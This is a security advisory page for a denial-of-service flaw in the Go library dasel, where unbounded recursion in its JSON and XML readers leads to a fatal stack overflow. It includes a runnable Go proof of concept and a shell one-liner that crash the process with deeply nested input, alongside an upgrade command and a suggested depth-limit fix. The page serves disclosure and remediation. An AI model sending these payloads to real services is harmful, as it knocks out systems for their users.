VDB
Sign up
MEDIUM6.2

GHSA-cqxr-jxr2-85pq

Dasel: Unbounded recursion in JSON and XML readers causes unrecoverable stack-overflow DoS

Quick fix

GHSA-cqxr-jxr2-85pq — github.com/tomwright/dasel/v3: upgrade to the fixed version with the command below.

go get github.com/tomwright/dasel/v3@v3.11.1

Details

## Summary

`dasel`'s JSON and XML readers parse nested structures with unbounded recursion, one native stack frame per nesting level, with no depth guard. A small (sub-10 MB), deeply nested document drives the Go runtime past its goroutine stack limit and triggers a `fatal error: stack overflow`. This is **unrecoverable**: it is a runtime fatal error, not a `panic`, so a consumer's `defer`/`recover` cannot intercept it, the entire process dies.

Both readers are affected; neither has a depth limit, and the JSON reader additionally has no input-size cap (the XML reader caps size at 10 MB but not depth).

## Affected Versions

`github.com/tomwright/dasel/v3` and all v3.x releases through **v3.11.0** (current `main`, commit `abc1e1d`). This vulnerability is fixed in 3.11.1. Pre-v3 is out of scope.

## Description

### JSON reader @ `parsing/json/json_reader.go`

`decodeValue` (line 54) dispatches to the mutually-recursive `decodeObject` (line 78) and `decodeArray` (line 140). Each calls back into both for nested values (`decodeArray`→`decodeArray` at line 151, `decodeObject` at 163; `decodeObject`→`decodeArray` at 95, `decodeObject` at 111). Every `[` or `{` in the input adds one stack frame. There is **no depth counter and no `len(data)` cap** anywhere in the reader.

### XML reader @`parsing/xml/reader.go`

`parseElement` (line 172) recurses at line 211 for every `xml.StartElement`. The file declares explicit DoS guards — `maxXMLSize = 10_000_000`, comment count/length — but these bound **size and comment volume, not nesting depth**. The open tag `<a>` is 3 bytes, so the 10 MB cap still permits ~3.3 M nesting levels, exhausting the stack long before the size limit fires.

### Reachability (both)

Both are on the primary public read path: `parsing.Format(<fmt>).NewReader(opts).Read(data)`, with `data` fully attacker-controlled and no depth validation before the recursion. The same path backs the `dasel` CLI (`dasel -r json` / `-r xml`). Default reader, no special options. Go stack overflow is a `fatal error`, so `recover()` at the call site does not help.

### Precedent in this codebase

DoS hardening on the readers is already an accepted concern here, which is why this is a gap rather than a design choice: the XML reader has the `maxXMLSize` cap, and the **YAML reader already implements exactly the fix needed**, `parsing/yaml/yaml_reader.go:31,90-93` returns `ErrYamlExpansionDepthExceeded` once `expansionDepth > maxExpansionDepth`. The JSON and XML readers simply lack the equivalent depth guard.

## Proof of Concept

Single runnable program, public API only (`poc/main.go`, module wired to a local clone via `replace`):

```go package main

import ( "fmt"; "os"; "strings" "github.com/tomwright/dasel/v3/parsing" _ "github.com/tomwright/dasel/v3/parsing/json" _ "github.com/tomwright/dasel/v3/parsing/xml" )

func main() { mode := "json"; if len(os.Args) > 1 { mode = os.Args[1] } depth := 6_000_000; if mode == "xml" { depth = 3_200_000 }

var data []byte if mode == "xml" { data = []byte(strings.Repeat("<a>", depth)) // ~9.6MB, under the 10MB cap } else { data = []byte(strings.Repeat("[", depth) + strings.Repeat("]", depth)) // ~12MB }

defer func() { if r := recover(); r != nil { fmt.Println("recovered (NOT fatal):", r) } }() r, _ := parsing.Format(mode).NewReader(parsing.DefaultReaderOptions()) v, err := r.Read(data) fmt.Printf("Read returned WITHOUT crash: v=%v err=%v\n", v != nil, err) } ```

``` go run . json # nested arrays -> fatal error: stack overflow ; ~85 decodeArray frames go run . xml # nested <a> -> fatal error: stack overflow ; ~93 parseElement frames ```

Observed (Go 1.26, default 1 GB goroutine stack): - `json` depth 6 M (12 MB): `runtime: goroutine stack exceeds 1000000000-byte limit` → `fatal error: stack overflow`; backtrace dominated by `json.(*jsonReader).decodeArray`. `depth 2 M` completes (~0.83 s), confirming it is depth-driven, not a parse error. - `xml` depth 3.2 M (9.6 MB, **under** the 10 MB `maxXMLSize` cap): same fatal overflow; backtrace is an unbroken chain of `xml.(*xmlReader).parseElement` at `reader.go:211`. - The deferred `recover()` never fires in either case — the process exits. - CLI equivalents: `printf '<a>%.0s' {1..3200000} | dasel -r xml`.

## Impact

An attacker who controls JSON or XML passed to dasel — via the library `Read` API, the CLI, or the `parse('json'|'xml', …)` selector function — crashes the host process with a single small document. Because the failure is a Go `fatal error` rather than a recoverable panic, a consumer that wraps parsing in `defer`/`recover` is **still** taken down: the whole process terminates, killing every in-flight goroutine, not just the parse. Availability only — no confidentiality or integrity impact. For a library consumer feeding network-sourced data to `Read`, this is a remotely triggerable, unrecoverable DoS.

## Suggested Fix

Add a recursion-depth guard to both readers, mirroring the YAML reader's existing `maxExpansionDepth` / `ErrYamlExpansionDepthExceeded` pattern:

- **JSON** — thread a `depth int` through `decodeValue`/`decodeObject`/`decodeArray`, increment on descent, return `ErrJSONMaxDepthExceeded` past a conservative bound (e.g. 10 000). Optionally add a `maxJSONSize` cap matching `maxXMLSize` for parity. - **XML** — add a `maxXMLDepth` constant to the existing `Security limits` block and thread a `depth` through `parseElement`, returning a normal error past the bound.

Both return a clean `error` for pathological input instead of crashing the process, consistent with how the comment-count, size, and YAML-expansion limits already behave. A limit in the low thousands preserves all realistic legitimate documents.

Are you affected?

Enter the version of the package you're using.

Affected packages

Go/github.com/tomwright/dasel/v3
Introduced in: 3.0.0Fixed in: 3.11.1
Fixgo get github.com/tomwright/dasel/v3@v3.11.1

References